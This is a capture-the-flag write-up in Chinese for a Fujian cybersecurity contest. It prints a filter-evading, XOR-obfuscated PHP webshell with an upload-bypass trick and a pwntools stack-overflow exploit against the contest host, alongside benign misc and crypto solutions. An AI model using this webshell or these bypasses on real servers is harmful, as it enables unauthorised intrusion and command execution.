福建省第五届闽盾杯网络空间安全大赛

web

闽盾杯-No characters

此时发现是文件上传,会检测文件后缀和文件内容;利用2.php::$data绕过文件后缀检测,此时发现会对文件内容进行检测

我们直接使用php免杀马进行绕过,使用了异或+变换参数的手法,成功规避了正则匹配式。(该免杀马为从零学习WebShell免杀手册系列里面构造的免杀马)

1
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);

进行命令执行发现flag不在该目录下面;联想到报错信息 move_uploaded_file(): Unable to move 'C:\Windows\Temp\php8108.tmp' to 'upload/.'

感觉flag可能藏再temp目录下面

紧接着执行:?_=system&__=type+C:\Windows\Temp\flag.txt即可获得flag

此时也是顺利的拿下一血哈哈哈哈哈哈

PWN

闽盾杯-licensePWN

函数4012f0内存在栈溢出,且401340函数能直接把flag打印出来,所以控制程序栈溢出到401340函数就能拿到flag.

Destination到栈底需要填充0x18个字节,再填充4个字节到返回地址。

题目再远程连接时描述需要填入十六进制字符串内容,所以将payload转化为16进制。

题目环境关闭,flag截图截取不到了。

exp

1
2
3
4
5
6
7
8
from pwn import *
context( os = 'windows')
#io = process('./ISCC_easy')
io = remote('112.50.92.5', 22223)
payload1 = b"1234567"+b"a"*0x15+p32(0x401340)
print(payload1.hex())
io.sendline(payload1.hex())
io.interactive()

Misc

闽盾杯-出题人的上网流量

拿到流量包之后进行分析发现存在SMPT流量且存在大量的数据传输

此时追踪tcp流;发现邮件信息以base64加密

此时发现存在乱码,经过尝试我们可以直接使用.html格式进行保存

继续对文件数据进行解码

此时将其保存为.doc格式然后密码为群主的qq号217778,此时即可获得flag

闽盾杯-学会Office

拿到附件后发现存在宏加密

直接使用宏解密

此时经过尝试了栅栏密码、维吉尼亚密码后发现均无法出现flag字样,后面继续观察表格后发现对计算机成绩进行排序后即可出现flag

使用随波逐流对该图片直接梭哈

Crypto

闽盾杯-签到题-学会SM

直接使用sm3将heidun2024加密,即可获取flag

闽盾杯-源码和数据都要保护

使用在线网站http://www.zhaoyuanma.com/zym.html对该文件进行解密

解密后得到

根据加密逻辑,写出其解密脚本,进行解密获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def decode(encoded_data,key):
re = ""
len_enc = len(encoded_data)
len_key = len(key)

for i in range(len_enc):
enc_char = encoded_data[i]
k = key[i % len_key]
num = ord(enc_char) -ord(k)
if num < 0:
num += 256
re+=chr(num)
return re

f = open('data_encoded.txt', encoding='latin1')
encode_data = f.read()
print(decode(encode_data, 'hdhd4321'))